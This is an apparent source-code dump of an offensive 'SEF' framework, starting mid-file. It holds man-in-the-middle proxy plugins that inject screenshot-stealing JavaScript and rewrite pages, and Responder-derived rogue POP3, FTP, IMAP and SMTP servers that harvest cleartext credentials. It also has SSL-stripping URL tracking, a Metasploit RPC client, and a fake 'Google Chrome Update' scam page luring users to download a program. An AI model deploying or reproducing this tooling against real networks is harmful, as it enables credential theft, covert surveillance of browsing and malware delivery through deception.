random.choice(os.listdir(self.options.img_dir)) 49 | with open(os.path.join(self.options.img_dir, img), 'rb') as img_file: 50 | data = img_file.read() 51 | self.clientlog.info("Replaced image with {}".format(img), extra=request.clientInfo) 52 | return {'response': response, 'request': request, 'data': data} 53 | except Exception as e: 54 | self.clientlog.info("Error: {}".format(e), extra=request.clientInfo) 55 | 56 | def options(self, options): 57 | options.add_argument("--img-dir", type=str, metavar="DIRECTORY", help="Directory with images") -------------------------------------------------------------------------------- /sniffer/plugins/screenshotter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | 3 | # Copyright (c) 2014-2016 Marcello Salvati 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License as 7 | # published by the Free Software Foundation; either version 3 of the 8 | # License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, but 11 | # WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program; if not, write to the Free Software 17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 18 | # USA 19 | # 20 | 21 | import base64 22 | import urllib 23 | import re 24 | 25 | from datetime import datetime 26 | from plugins.plugin import Plugin 27 | from plugins.inject import Inject 28 | 29 | class ScreenShotter(Inject, Plugin): 30 | name = 'ScreenShotter' 31 | optname = 'screen' 32 | desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' 33 | ver = '0.1' 34 | 35 | def initialize(self, options): 36 | Inject.initialize(self, options) 37 | self.interval = options.interval 38 | self.js_payload = self.get_payload() 39 | 40 | def request(self, request): 41 | if 'saveshot' in request.uri: 42 | request.handle_post_output = True 43 | 44 | client = request.client.getClientIP() 45 | img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) 46 | try: 47 | with open('./logs/' + img_file, 'wb') as img: 48 | img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) 49 | img.close() 50 | 51 | self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) 52 | except Exception as e: 53 | self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo) 54 | 55 | def get_payload(self): 56 | return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) 57 | 58 | def options(self, options): 59 | options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") 60 | -------------------------------------------------------------------------------- /sniffer/plugins/upsidedownternet.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from cStringIO import StringIO 20 | from plugins.plugin import Plugin 21 | from PIL import Image, ImageFile 22 | 23 | class Upsidedownternet(Plugin): 24 | name = "Upsidedownternet" 25 | optname = "upsidedownternet" 26 | desc = 'Flips images 180 degrees' 27 | version = "0.1" 28 | 29 | def initialize(self, options): 30 | self.options = options 31 | 32 | def responseheaders(self, response, request): 33 | '''Kill the image skipping that's in place for speed reasons''' 34 | if request.isImageRequest: 35 | request.isImageRequest = False 36 | request.isImage = True 37 | self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper() 38 | 39 | def response(self, response, request, data): 40 | try: 41 | isImage = getattr(request, 'isImage') 42 | except AttributeError: 43 | isImage = False 44 | 45 | if isImage: 46 | try: 47 | #For some reason more images get parsed using the parser 48 | #rather than a file...PIL still needs some work I guess 49 | p = ImageFile.Parser() 50 | p.feed(data) 51 | im = p.close() 52 | im = im.transpose(Image.ROTATE_180) 53 | output = StringIO() 54 | im.save(output, format=self.imageType) 55 | data = output.getvalue() 56 | output.close() 57 | self.clientlog.info("Flipped image", extra=request.clientInfo) 58 | except Exception as e: 59 | self.clientlog.info("Error: {}".format(e), extra=request.clientInfo) 60 | 61 | return {'response': response, 'request': request, 'data': data} 62 | -------------------------------------------------------------------------------- /sniffer/libs/responder/SMTPPackets.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # NBT-NS/LLMNR Responder 3 | # Created by Laurent Gaffie 4 | # Copyright (C) 2014 Trustwave Holdings, Inc. 5 | # 6 | # This program is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program. If not, see . 18 | import struct 19 | from odict import OrderedDict 20 | 21 | class Packet(): 22 | fields = OrderedDict([ 23 | ("data", ""), 24 | ]) 25 | def __init__(self, **kw): 26 | self.fields = OrderedDict(self.__class__.fields) 27 | for k,v in kw.items(): 28 | if callable(v): 29 | self.fields[k] = v(self.fields[k]) 30 | else: 31 | self.fields[k] = v 32 | def __str__(self): 33 | return "".join(map(str, self.fields.values())) 34 | 35 | #SMTP Greating class 36 | class SMTPGreating(Packet): 37 | fields = OrderedDict([ 38 | ("Code", "220"), 39 | ("Separator", "\x20"), 40 | ("Message", "smtp01.local ESMTP"), 41 | ("CRLF", "\x0d\x0a"), 42 | ]) 43 | 44 | class SMTPAUTH(Packet): 45 | fields = OrderedDict([ 46 | ("Code0", "250"), 47 | ("Separator0", "\x2d"), 48 | ("Message0", "smtp01.local"), 49 | ("CRLF0", "\x0d\x0a"), 50 | ("Code", "250"), 51 | ("Separator", "\x20"), 52 | ("Message", "AUTH LOGIN PLAIN XYMCOOKIE"), 53 | ("CRLF", "\x0d\x0a"), 54 | ]) 55 | 56 | class SMTPAUTH1(Packet): 57 | fields = OrderedDict([ 58 | ("Code", "334"), 59 | ("Separator", "\x20"), 60 | ("Message", "VXNlcm5hbWU6"),#Username 61 | ("CRLF", "\x0d\x0a"), 62 | 63 | ]) 64 | 65 | class SMTPAUTH2(Packet): 66 | fields = OrderedDict([ 67 | ("Code", "334"), 68 | ("Separator", "\x20"), 69 | ("Message", "UGFzc3dvcmQ6"),#Password 70 | ("CRLF", "\x0d\x0a"), 71 | 72 | ]) 73 | 74 | 75 | -------------------------------------------------------------------------------- /Scame/chrome.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 8 | Google Chrome Update 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 |

Google Chrome Update

What is this pageWhy iam see this pageWhat should I doDownload
22 |
23 |

What is this page

24 |

This page to download the new version of the famous google chrome. You need this new version to become the browsing security in 25 |
26 | the Internet because the Internet contains many malicious viruses that may lead to malfunction your device or steal your personal 27 |
28 | information and photos. Internet will not be back again when unless you download the required runs.

29 |

Why iam see this page

30 |

You are seeing this page because we found that your computer is not secure and vulnerable to penetration at any moment and that your 31 |
32 | data exposed also to theft or loss So you see this page you download google chrome strongest and the fastest and best in the world, Ante virus 33 |
34 | so please download and run the program and then the Internet will also but already the fastest security

35 | 36 |

What should I do

37 |

All you have to do is go to the download section and download the version compatible with your system and your device after download, 38 |
39 | you must open the program and then the Internet will return better and faster than before if your type of program will appear in the Android 40 |
41 | applications on behalf MainActivity 42 |

43 |

Download

44 |

Download the version compatible with your system and with your computer and download and then please turn it back up to the net and you have 45 |
46 | become a safe and better than ever before and thanks

47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 |

@All right reserved to GooGle groub

61 | 62 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /sniffer/core/servers/POP3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import os 18 | import core.responder.settings as settings 19 | import threading 20 | from traceback import print_exc 21 | 22 | from core.responder.utils import * 23 | from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer 24 | from core.responder.packets import POPOKPacket 25 | 26 | class POP3: 27 | 28 | def start(self): 29 | try: 30 | if OsInterfaceIsSupported(): 31 | server = ThreadingTCPServer((settings.Config.Bind_To, 110), POP3Server) 32 | else: 33 | server = ThreadingTCPServer(('', 110), POP3Server) 34 | 35 | t = threading.Thread(name='POP3', target=server.serve_forever) 36 | t.setDaemon(True) 37 | t.start() 38 | except Exception as e: 39 | print "Error starting POP3 server: {}".format(e) 40 | print_exc() 41 | 42 | class ThreadingTCPServer(ThreadingMixIn, TCPServer): 43 | 44 | allow_reuse_address = 1 45 | 46 | def server_bind(self): 47 | if OsInterfaceIsSupported(): 48 | try: 49 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') 50 | except: 51 | pass 52 | TCPServer.server_bind(self) 53 | 54 | # POP3 Server class 55 | class POP3Server(BaseRequestHandler): 56 | 57 | def SendPacketAndRead(self): 58 | Packet = POPOKPacket() 59 | self.request.send(str(Packet)) 60 | data = self.request.recv(1024) 61 | 62 | return data 63 | 64 | def handle(self): 65 | try: 66 | data = self.SendPacketAndRead() 67 | 68 | if data[0:4] == "USER": 69 | User = data[5:].replace("\r\n","") 70 | data = self.SendPacketAndRead() 71 | 72 | if data[0:4] == "PASS": 73 | Pass = data[5:].replace("\r\n","") 74 | 75 | SaveToDb({ 76 | 'module': 'POP3', 77 | 'type': 'Cleartext', 78 | 'client': self.client_address[0], 79 | 'user': User, 80 | 'cleartext': Pass, 81 | 'fullhash': User+":"+Pass, 82 | }) 83 | 84 | data = self.SendPacketAndRead() 85 | 86 | else: 87 | data = self.SendPacketAndRead() 88 | 89 | except Exception: 90 | pass -------------------------------------------------------------------------------- /sniffer/core/servers/FTP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import os 18 | import threading 19 | 20 | from core.responder.utils import * 21 | from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer 22 | from core.responder.packets import FTPPacket 23 | 24 | class FTP: 25 | 26 | def start(self): 27 | try: 28 | if OsInterfaceIsSupported(): 29 | server = ThreadingTCPServer((settings.Config.Bind_To, 21), FTP1) 30 | else: 31 | server = ThreadingTCPServer(('', 21), FTP1) 32 | 33 | t = threading.Thread(name='SMB', target=server.serve_forever) 34 | t.setDaemon(True) 35 | t.start() 36 | except Exception as e: 37 | print "Error starting SMB server: {}".format(e) 38 | print_exc() 39 | 40 | class ThreadingTCPServer(ThreadingMixIn, TCPServer): 41 | 42 | allow_reuse_address = 1 43 | 44 | def server_bind(self): 45 | if OsInterfaceIsSupported(): 46 | try: 47 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') 48 | except: 49 | pass 50 | TCPServer.server_bind(self) 51 | 52 | class FTP1(BaseRequestHandler): 53 | def handle(self): 54 | try: 55 | self.request.send(str(FTPPacket())) 56 | data = self.request.recv(1024) 57 | 58 | if data[0:4] == "USER": 59 | User = data[5:].strip() 60 | 61 | Packet = FTPPacket(Code="331",Message="User name okay, need password.") 62 | self.request.send(str(Packet)) 63 | data = self.request.recv(1024) 64 | 65 | if data[0:4] == "PASS": 66 | Pass = data[5:].strip() 67 | 68 | Packet = FTPPacket(Code="530",Message="User not logged in.") 69 | self.request.send(str(Packet)) 70 | data = self.request.recv(1024) 71 | 72 | SaveToDb({ 73 | 'module': 'FTP', 74 | 'type': 'Cleartext', 75 | 'client': self.client_address[0], 76 | 'user': User, 77 | 'cleartext': Pass, 78 | 'fullhash': User+':'+Pass 79 | }) 80 | 81 | else: 82 | Packet = FTPPacket(Code="502",Message="Command not implemented.") 83 | self.request.send(str(Packet)) 84 | data = self.request.recv(1024) 85 | 86 | except Exception: 87 | pass -------------------------------------------------------------------------------- /sniffer/core/servers/IMAP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import os 18 | import core.responder.settings as settings 19 | import threading 20 | 21 | from core.responder.utils import * 22 | from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer 23 | from core.responder.packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd 24 | 25 | class IMAP: 26 | 27 | def start(self): 28 | try: 29 | if OsInterfaceIsSupported(): 30 | server = ThreadingTCPServer((settings.Config.Bind_To, 143), IMAP4) 31 | else: 32 | server = ThreadingTCPServer(('', 143), IMAP4) 33 | 34 | t = threading.Thread(name='IMAP', target=server.serve_forever) 35 | t.setDaemon(True) 36 | t.start() 37 | except Exception as e: 38 | print "Error starting IMAP server: {}".format(e) 39 | print_exc() 40 | 41 | class ThreadingTCPServer(ThreadingMixIn, TCPServer): 42 | 43 | allow_reuse_address = 1 44 | 45 | def server_bind(self): 46 | if OsInterfaceIsSupported(): 47 | try: 48 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') 49 | except: 50 | pass 51 | TCPServer.server_bind(self) 52 | 53 | # IMAP4 Server class 54 | class IMAP4(BaseRequestHandler): 55 | 56 | def handle(self): 57 | try: 58 | self.request.send(str(IMAPGreeting())) 59 | data = self.request.recv(1024) 60 | 61 | if data[5:15] == "CAPABILITY": 62 | RequestTag = data[0:4] 63 | self.request.send(str(IMAPCapability())) 64 | self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) 65 | data = self.request.recv(1024) 66 | 67 | if data[5:10] == "LOGIN": 68 | Credentials = data[10:].strip() 69 | 70 | SaveToDb({ 71 | 'module': 'IMAP', 72 | 'type': 'Cleartext', 73 | 'client': self.client_address[0], 74 | 'user': Credentials[0], 75 | 'cleartext': Credentials[1], 76 | 'fullhash': Credentials[0]+":"+Credentials[1], 77 | }) 78 | 79 | ## FIXME: Close connection properly 80 | ## self.request.send(str(ditchthisconnection())) 81 | ## data = self.request.recv(1024) 82 | 83 | except Exception: 84 | pass -------------------------------------------------------------------------------- /sniffer/core/ferretng/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import re 20 | import os 21 | 22 | class URLMonitor: 23 | 24 | ''' 25 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 26 | server is expecting over SSL. It also keeps track of secure favicon urls. 27 | ''' 28 | 29 | # Start the arms race, and end up here... 30 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 31 | cookies = dict() 32 | hijack_client = '' 33 | _instance = None 34 | 35 | def __init__(self): 36 | self.strippedURLs = set() 37 | self.strippedURLPorts = dict() 38 | 39 | @staticmethod 40 | def getInstance(): 41 | if URLMonitor._instance == None: 42 | URLMonitor._instance = URLMonitor() 43 | 44 | return URLMonitor._instance 45 | 46 | def isSecureLink(self, client, url): 47 | for expression in URLMonitor.javascriptTrickery: 48 | if (re.match(expression, url)): 49 | return True 50 | 51 | return (client,url) in self.strippedURLs 52 | 53 | def getSecurePort(self, client, url): 54 | if (client,url) in self.strippedURLs: 55 | return self.strippedURLPorts[(client,url)] 56 | else: 57 | return 443 58 | 59 | def addSecureLink(self, client, url): 60 | methodIndex = url.find("//") + 2 61 | method = url[0:methodIndex] 62 | 63 | pathIndex = url.find("/", methodIndex) 64 | if pathIndex is -1: 65 | pathIndex = len(url) 66 | url += "/" 67 | 68 | host = url[methodIndex:pathIndex].lower() 69 | path = url[pathIndex:] 70 | 71 | port = 443 72 | portIndex = host.find(":") 73 | 74 | if (portIndex != -1): 75 | host = host[0:portIndex] 76 | port = host[portIndex+1:] 77 | if len(port) == 0: 78 | port = 443 79 | 80 | url = method + host + path 81 | 82 | self.strippedURLs.add((client, url)) 83 | self.strippedURLPorts[(client, url)] = int(port) 84 | -------------------------------------------------------------------------------- /sniffer/libs/publicsuffix.py: -------------------------------------------------------------------------------- 1 | """Public Suffix List module for Python. 2 | """ 3 | 4 | import codecs 5 | import os.path 6 | 7 | class PublicSuffixList(object): 8 | def __init__(self, input_file=None): 9 | """Reads and parses public suffix list. 10 | 11 | input_file is a file object or another iterable that returns 12 | lines of a public suffix list file. If input_file is None, an 13 | UTF-8 encoded file named "publicsuffix.txt" in the same 14 | directory as this Python module is used. 15 | 16 | The file format is described at http://publicsuffix.org/list/ 17 | """ 18 | 19 | if input_file is None: 20 | input_path = os.path.join(os.path.dirname(__file__), 'publicsuffix.txt') 21 | input_file = codecs.open(input_path, "r", "utf8") 22 | 23 | root = self._build_structure(input_file) 24 | self.root = self._simplify(root) 25 | 26 | def _find_node(self, parent, parts): 27 | if not parts: 28 | return parent 29 | 30 | if len(parent) == 1: 31 | parent.append({}) 32 | 33 | assert len(parent) == 2 34 | negate, children = parent 35 | 36 | child = parts.pop() 37 | 38 | child_node = children.get(child, None) 39 | 40 | if not child_node: 41 | children[child] = child_node = [0] 42 | 43 | return self._find_node(child_node, parts) 44 | 45 | def _add_rule(self, root, rule): 46 | if rule.startswith('!'): 47 | negate = 1 48 | rule = rule[1:] 49 | else: 50 | negate = 0 51 | 52 | parts = rule.split('.') 53 | self._find_node(root, parts)[0] = negate 54 | 55 | def _simplify(self, node): 56 | if len(node) == 1: 57 | return node[0] 58 | 59 | return (node[0], dict((k, self._simplify(v)) for (k, v) in node[1].items())) 60 | 61 | def _build_structure(self, fp): 62 | root = [0] 63 | 64 | for line in fp: 65 | line = line.strip() 66 | if line.startswith('//') or not line: 67 | continue 68 | 69 | self._add_rule(root, line.split()[0].lstrip('.')) 70 | 71 | return root 72 | 73 | def _lookup_node(self, matches, depth, parent, parts): 74 | if parent in (0, 1): 75 | negate = parent 76 | children = None 77 | else: 78 | negate, children = parent 79 | 80 | matches[-depth] = negate 81 | 82 | if depth < len(parts) and children: 83 | for name in ('*', parts[-depth]): 84 | child = children.get(name, None) 85 | if child is not None: 86 | self._lookup_node(matches, depth+1, child, parts) 87 | 88 | def get_public_suffix(self, domain): 89 | """get_public_suffix("www.example.com") -> "example.com" 90 | 91 | Calling this function with a DNS name will return the 92 | public suffix for that name. 93 | 94 | Note that for internationalized domains the list at 95 | http://publicsuffix.org uses decoded names, so it is 96 | up to the caller to decode any Punycode-encoded names. 97 | """ 98 | 99 | parts = domain.lower().lstrip('.').split('.') 100 | hits = [None] * len(parts) 101 | 102 | self._lookup_node(hits, 1, self.root, parts) 103 | 104 | for i, what in enumerate(hits): 105 | if what is not None and what == 0: 106 | return '.'.join(parts[i:]) 107 | -------------------------------------------------------------------------------- /tools/exploitdb/Exploitdb.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | Black='\e[0;30m' # Black 3 | Red='\e[0;31m' # Red 4 | Green='\e[0;32m' # Green 5 | Yellow='\e[0;33m' # Yellow 6 | Blue='\e[0;34m' # Blue 7 | Purple='\e[0;35m' # Purple 8 | Cyan='\e[0;36m' # Cyan 9 | White='\e[0;37m' # White 10 | 11 | # Bold 12 | BBlack='\e[1;30m' # Black 13 | BRed='\e[1;31m' # Red 14 | BGreen='\e[1;32m' # Green 15 | BYellow='\e[1;33m' # Yellow 16 | BBlue='\e[1;34m' # Blue 17 | BPurple='\e[1;35m' # Purple 18 | BCyan='\e[1;36m' # Cyan 19 | BWhite='\e[1;37m' # White 20 | echo 21 | echo -e $BYellow "INFO:$(echo -e $BWhite "If you need type (help) for more information")" 22 | echo 23 | while true 24 | do 25 | read -p "$(echo -e $BBlue"Explotitdb>" )$(echo -e $BWhite"") " menu action place 26 | if [ "$menu" == "help" ] || [ "$menu" == "HELP" ] || [ "$menu" == "Help" ] 27 | then 28 | echo 29 | echo -e $BRed "Options:" 30 | echo -e $BYellow " search $(echo -e $BWhite " Search if exploit specific")" 31 | echo -e $BYellow " get $(echo -e $BWhite " Get exploit on place it in specific place")" 32 | echo -e $BYellow " delete $(echo -e $BWhite " Delete exploit from database ")" 33 | echo -e $BYellow " update $(echo -e $BWhite " Update exploitdb or install it (Debian)")" 34 | echo -e $BYellow " back $(echo -e $BWhite " To return to SEF")" 35 | echo -e $BYellow " clear $(echo -e $BWhite " To clear screen")" 36 | echo 37 | echo -e $BYellow " Note: $(echo -e $BWhite"Enter full path for exploit in any action")" 38 | echo -e $BYellow " Note: $(echo -e $BWhite"Enter where you need place exploit in get mode")" 39 | elif [ "$menu" == "search" ] 40 | then 41 | /etc/SEF/tools/exploitdb/searchsploit $action 42 | elif [ "$menu" == "get" ] 43 | then 44 | cp /usr/share/exploitdb/platforms$action $place &> /dev/null 45 | if [ "$?" == 0 ] 46 | then 47 | echo 48 | echo -e $BYellow"[done] $(echo -e $BWhite"Get exploitdb")" 49 | echo 50 | else 51 | echo 52 | echo -e $BRed"[error] $(echo -e $BWhite"Get exploitdb")" 53 | echo 54 | fi 55 | elif [ "$menu" == "delete" ] 56 | then 57 | rm /usr/share/exploitdb/platforms/$action &> /dev/null 58 | if [ "$?" == 0 ] 59 | then 60 | echo 61 | echo -e $BYellow"[done] $(echo -e $BWhite"Delete exploitdb")" 62 | echo 63 | else 64 | echo 65 | echo -e $BRed"[error] $(echo -e $BWhite"Delete exploitdb")" 66 | echo 67 | fi 68 | elif [ "$menu" == "update" ] 69 | then 70 | sudo apt-get update 71 | sudo apt-get install exploitdb 72 | if [ "$?" == 0 ] 73 | then 74 | echo 75 | echo -e $BYellow"[done] $(echo -e $BWhite"Install exploitdb")" 76 | echo 77 | else 78 | echo 79 | echo -e $BRed"[error] $(echo -e $BWhite"Install exploitdb")" 80 | echo 81 | fi 82 | elif [ "$menu" == "back" ] 83 | then 84 | seframework 85 | elif [ "$menu" == "clear" ] 86 | then 87 | clear 88 | else 89 | echo 90 | echo "[*]Options Not Found" 91 | echo 92 | read -n1 -r -p "$(echo -e $BBlue"Exploitdb>") $(echo -e $BGreen"Press $(echo -e $BRed"") $(echo -e $BGreen"to continue...")")" key 93 | clear 94 | fi 95 | done -------------------------------------------------------------------------------- /sniffer/libs/msfrpc.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # MSF-RPC - A Python library to facilitate MSG-RPC communication with Metasploit 3 | # Ryan Linn - RLinn@trustwave.com, Marcello Salvati - byt3bl33d3r@gmail.com 4 | # Copyright (C) 2011 Trustwave 5 | # This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. 6 | # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 7 | # You should have received a copy of the GNU General Public License along with this program. If not, see . 8 | 9 | 10 | import requests 11 | import msgpack 12 | 13 | class Msfrpc: 14 | 15 | class MsfError(Exception): 16 | def __init__(self,msg): 17 | self.msg = msg 18 | def __str__(self): 19 | return repr(self.msg) 20 | 21 | class MsfAuthError(MsfError): 22 | def __init__(self,msg): 23 | self.msg = msg 24 | 25 | def __init__(self,opts=[]): 26 | self.host = opts.get('host') or "127.0.0.1" 27 | self.port = opts.get('port') or "55552" 28 | self.uri = opts.get('uri') or "/api/" 29 | self.ssl = opts.get('ssl') or False 30 | self.token = None 31 | self.headers = {"Content-type" : "binary/message-pack"} 32 | 33 | def encode(self, data): 34 | return msgpack.packb(data) 35 | 36 | def decode(self, data): 37 | return msgpack.unpackb(data) 38 | 39 | def call(self, method, opts=[]): 40 | if method != 'auth.login': 41 | if self.token == None: 42 | raise self.MsfAuthError("MsfRPC: Not Authenticated") 43 | 44 | if method != "auth.login": 45 | opts.insert(0, self.token) 46 | 47 | if self.ssl == True: 48 | url = "https://%s:%s%s" % (self.host, self.port, self.uri) 49 | else: 50 | url = "http://%s:%s%s" % (self.host, self.port, self.uri) 51 | 52 | 53 | opts.insert(0, method) 54 | payload = self.encode(opts) 55 | 56 | r = requests.post(url, data=payload, headers=self.headers) 57 | 58 | opts[:] = [] #Clear opts list 59 | 60 | return self.decode(r.content) 61 | 62 | def login(self, user, password): 63 | auth = self.call("auth.login", [user, password]) 64 | try: 65 | if auth['result'] == 'success': 66 | self.token = auth['token'] 67 | return True 68 | except: 69 | raise self.MsfAuthError("MsfRPC: Authentication failed") 70 | 71 | if __name__ == '__main__': 72 | 73 | # Create a new instance of the Msfrpc client with the default options 74 | client = Msfrpc({}) 75 | 76 | # Login to the msfmsg server using the password "abc123" 77 | client.login('msf','abc123') 78 | 79 | # Get a list of the exploits from the server 80 | mod = client.call('module.exploits') 81 | 82 | # Grab the first item from the modules value of the returned dict 83 | print "Compatible payloads for : %s\n" % mod['modules'][0] 84 | 85 | # Get the list of compatible payloads for the first option 86 | ret = client.call('module.compatible_payloads',[mod['modules'][0]]) 87 | for i in (ret.get('payloads')): 88 | print "\t%s" % i 89 | -------------------------------------------------------------------------------- /sniffer/plugins/Replace.py: -------------------------------------------------------------------------------- 1 | #import os 2 | #import subprocess 3 | import sys 4 | import logging 5 | import time 6 | import re 7 | from plugins.plugin import Plugin 8 | from plugins.CacheKill import CacheKill 9 | 10 | 11 | class Replace(CacheKill, Plugin): 12 | name = "Replace" 13 | optname = "replace" 14 | implements = ["handleResponse", "handleHeader", "connectionMade"] 15 | has_opts = True 16 | desc = "Replace arbitrary content in HTML content" 17 | 18 | def initialize(self, options): 19 | self.options = options 20 | 21 | self.search_str = options.search_str 22 | self.replace_str = options.replace_str 23 | self.regex_file = options.regex_file 24 | 25 | if (self.search_str is None or self.search_str == "") and self.regex_file is None: 26 | sys.exit("[*] Please provide a search string or a regex file") 27 | 28 | self.regexes = [] 29 | if self.regex_file is not None: 30 | print "[*] Loading regexes from file" 31 | for line in self.regex_file: 32 | self.regexes.append(line.strip().split("\t")) 33 | 34 | if self.options.keep_cache: 35 | self.implements.remove("handleHeader") 36 | self.implements.remove("connectionMade") 37 | 38 | self.ctable = {} 39 | self.dtable = {} 40 | self.mime = "text/html" 41 | 42 | print "[*] Replace plugin online" 43 | 44 | def handleResponse(self, request, data): 45 | ip, hn, mime = self._get_req_info(request) 46 | 47 | if self._should_replace(ip, hn, mime): 48 | 49 | if self.search_str is not None and self.search_str != "": 50 | data = data.replace(self.search_str, self.replace_str) 51 | logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str)) 52 | 53 | # Did the user provide us with a regex file? 54 | for regex in self.regexes: 55 | try: 56 | data = re.sub(regex[0], regex[1], data) 57 | 58 | logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) 59 | except Exception: 60 | logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) 61 | 62 | self.ctable[ip] = time.time() 63 | self.dtable[ip+hn] = True 64 | 65 | return {'request': request, 'data': data} 66 | 67 | return 68 | 69 | def add_options(self, options): 70 | options.add_argument("--search-str", type=str, 